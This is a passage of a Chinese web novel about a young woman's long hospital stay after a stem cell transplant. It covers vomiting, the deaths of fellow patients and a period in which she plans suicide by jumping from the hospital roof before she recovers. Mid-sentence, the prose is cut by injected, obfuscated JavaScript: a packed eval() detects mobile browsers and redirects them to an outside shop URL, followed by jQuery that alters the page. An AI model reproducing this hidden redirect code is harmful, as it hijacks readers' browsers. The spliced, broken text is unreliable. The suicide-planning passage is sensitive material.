情况好转，医生撤掉阿片将止疼药换成芬太尼透皮贴剂。这时候姜与终于清醒，随之而来新的症状是，她开始止不住地呕吐。
医生查房她回了两句话扭头就是翻江倒海，甚至好好睡着觉突然起身就要吐。白色的米汤，黄色的药水，绿色的胆汁，泡沫，直到什么也吐不出来。那时候姜与已经禁食一段时间了，空荡荡的胃几乎要拧断绞碎。
姜与怕了。
她有过因为化疗呕吐导致贲门撕裂的前科，但现在的她，担不起再一次胃出血。于是每次胃里又泛起恶心，她就会赶紧喝些水，再吐出来。这样至少胃里能好受些。
除了呕吐，还有严重的腹泻和时不时出现的神经疼痛。抗排异药物上了，抗生素换了一种又一种，所有输液通路全部打开一袋袋药物二十四小时不间断往身体里灌，却不见一星半点好转。一个月过去，又一个月过去，病床上的姜与变得干枯佝偻，陪着她的Sam也从未有过一夜好寐。
那时的姜与第一次打心底生出了绝望。
生病的这些年她被下过很多次病危，但此时她才真切感受到死亡的近在咫尺。
.
身边每天都有人离开，姜与认识的人。
16岁需要一直吸氧的女孩，最想吃的是巧克力派，包装食品，便宜的那种。白天还在跟爸爸奶奶撒娇使小性子，夜里突发肺水肿呼吸衰竭就没了。
31岁的海归博士，移植后没多久就脑白复发，他妈妈给过姜与一个橙子，没几天再经过那个床位，空了。
借过药膏给姜与的叔叔，他儿子和姜与一般大，状态好的时候还见他扶着墙两父子一起在走廊散步，没几天病情便急转直下。姜与后来找叔叔还药的时候，只见他一个人蜷坐在长椅上，红了眼。
还有姜与隔壁床的阿姨，人温和有礼，女儿给她请了个护工陪她，不专业也不怎么上心。唯一一次女儿来看她，阿姨肉眼可见的开心，女儿打扮花枝招展，没待十分钟就说她约了人去看电影，走的时候阿姨还惦记她吃饭够不够钱花。后来姜与听说阿姨走的时候，她女儿接到通知赶来却吓得站在病房门口不敢进去，只是一直哭。
…………
姜与移植前还被拉进了一个微｜信群，里面都是些二十岁左右的女孩子，大都比姜与小。每天更新近况，分享经验，互相鼓励。正是爱闹爱笑爱漂亮的年纪，都对未来怀抱希望。她们说，现在丑没关系，就当猥琐发育。她们憧憬以后好了，吃什么穿什么做什么。只是对话总是，过几天便少去一人的声音。朋友圈不再更新，年纪永远定格。
移植病房里，死亡司空见惯。姜与没亲眼看过，但卢白说，没救过来的，单子一盖，就那么拉走了。
.
那次姜与在医院住了一百天。那一百天是她最糟糕的时候，也是精神意志最脆弱的时候。
一个成年人无法控制自己身体时的那种屈辱。赤裸裸满身狼藉污秽任人摆布时的那种难堪。
是绝望。
生了病的人，没有年龄，没有性别，没有，尊严。
那时候姜与觉得自己可能真不会好了，即便熬过这个坎前面还是复发的悬崖。她体会到了医学的无能为力，人类在命运面前如此渺小又可笑。人在绝境的时候总会病急乱投医。姜与没有宗教信仰，她甚至不信仰唯物主义。但那些天，她在心里求尽了神佛。
肠胃是情绪器官，医生为此给姜与开了抗焦虑的药物还请了心理科会诊。可比姜与更焦虑的，是陪着她的那三个人。
他们眼睁睁看着姜与瘦得形容枯槁却束手无策。医生们换着方案试药还是一筹莫展。姜与的主治，那个在姜与做肠镜时紧紧握着姜与的手像妈妈一样的医生，她对姜云麒说，“对不起是我们没用”。
那时候姜与想过死。
从住院部楼顶一跃而下是唯一可行的方式。姜云麒他们24小时守在她身边，只能半夜趁Sam睡着的时候偷溜出去。穿着病号服肯定出不了病房大门，她的衣服早就被卢白拿回家了，就只有穿Sam的外套混出去。可她又不想脏了Sam的衣服。她也不想因为自己跳楼脏了医附院的地儿，这里都是病人，她不能给别人寻晦气。而且，病房大门有门禁，她根本不可能出得去。移植病房楼层高度倒也可以，但是窗户那点缝隙，她现在再瘦也钻不过去……
那时候姜与每天躺在床上，睡梦里，都在琢磨这事儿，怎么掩人耳目又不会给别人带来麻烦地了解自己。她想了很多方案，又统统否决了这些方案。然后。
她就好了。
大概姜与命不该绝。在第三次肠镜活检中，有医生发现了隐藏在里面疑似是EB病毒的东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574792|185824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，院外会诊，对方承认了这种可能。于是更新治疗方向，美罗华联合抗病毒，立竿见影。
出院的时候还没入夏，姜与的皮肤恢复了正常颜色，但穿裙子仍是遥不可及。
阳光明媚绿意葱茏。
路边是各种新鲜瓜果；
超市出了小龙虾啤酒冰淇淋套餐；
下了学的初中生捏着玻璃汽水瓶子正在讨论刚才的篮球比赛；
爷爷奶奶带着孩子下楼遛弯，他们在空地上比赛奔跑；
摘掉工牌的那个年轻女子步履匆匆，是着急回家吗？下一刻她展开笑颜奔向那个在路口等她的男人。
季节更替，背心短裤花裙子，汗水奔跑，亲人的拥抱爱人的吻……
这些都和姜与无关。
春夏的风本该是和煦，可全副武装的姜与仍觉得透心的寒。
那时的姜与，甚至抬不起腿走上人行道十公分的台阶。
.
姜云麒刚回国就把姜与的东西重新搬回了原来的住处。这个房子七十多平，两个房间只有姜与卧室一张床。姜云麒给自己和Sam买了两张折叠床，偶尔卢白也在这过夜。害怕交叉感染，姜与住院不在家这段时间他们也没进过她的卧室，就在那个小房间凑合。
林小熊被卢白接去她那了。在一个屋子里总会有狗毛细菌。也就是偶尔卢白带回来遛狗，顺便也遛一下姜与的时候，才能隔着距离看一眼。每次看着林小熊拼命想要挣脱绳子往自己怀里钻，姜与的心都像被捏碎一般疼。
姜与回家前姜云麒好好打扫消毒了她的卧室。
那天起，那一方天地就是她的世界。
.
最艰辛的日子熬过去了，漫长的免疫重建道路也只才走了开头。慢性排异的时间半年一年到十几年不等。和器官移植不同，干细胞移植的排异可能会发生在全身上下任意部位。这种慢性排异虽大概率不至死，带来的伤害却也足够颠覆人生。
应对排异当然有药物可以控制，但抗排异的免疫抑制剂使用过多会很容易感染，也会增加原发病复发概率。有些不排异的病人，医生还会通过注射干扰素来诱发排异。
不排不行，排大了也不行。排异是把双刃剑，医生要两方平衡利弊来用药，对于病人而言，则是向死而生的跷跷板。
.